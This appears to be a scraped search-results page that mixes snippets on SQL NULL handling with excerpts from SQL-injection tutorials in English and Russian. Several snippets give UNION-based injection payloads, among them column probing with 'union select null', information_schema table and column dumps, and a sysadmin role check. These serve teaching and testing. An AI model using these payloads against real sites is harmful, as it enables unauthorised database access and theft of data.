MySQL SELECT only not null values | Gang of Coders

SELECT * (that are NOT NULL) FROM table. Mysql is not null with joins and select, insert into, delete & logical operator like or , not.

Статья - SQL-injection, начало - UNION BASED - Codeby.net

CREATE TABLE login ( id INT NOT NULL AUTO_INCREMENT, nickname VARCHAR(30) NOT NULL, login VARCHAR(40) NOT NULL, statement INT NOT NULL, PRIMARY KEY(id) ) Отправляем запрос 99999' union select 1,2,database(),4 -- - Вот и наша базка golden_key.

SELECT INTO and non-nullable columns - Brent Ozar Unlimited

Select null union all select null union all select null union all. select … into NewTable (ID INT NOT NULL IDENTITY, [other columns here]). With that syntax there’s no hack and you can specify the target table schema inline (including indexes and whatnot).

How the SQL UNION Operator Deals with NULL Values

So three NULLs were reduced to just one NULL. We can use the ALL keyword to include all duplicates, and that includes duplicate NULLs: Select null union all select null union all select null

How to select null when the record does not exist with UNION ALL?

SQL Injection | HackTricks | HackTricks

Select more and more null values until the query is correct Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #.

SQL-инъекции' union select null, null, null -- / Хабр

?id=1' union select null,null,table_name,null from information_schema.tables Это стало возможным благодаря добавлению таблицы information_schema в MySQL 5.0+ и по ее наличию также можно косвенно определить версию используемой БД.

sql injection "union select null" - CodeProject

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. The hacker starts with adding a " UNION SELECT ALL 1

Advanced SQL Injection: Union based | VK9 Security

Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'. SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.

GitHub - shreyaschavhan/advanced-sql-injection-for-awae

Suppose you used ' UNION SELECT 'a',NULL,NULL,NULL--` and discovered that you'll be able to retrive database information from first column. Using char() for 0, null, false values.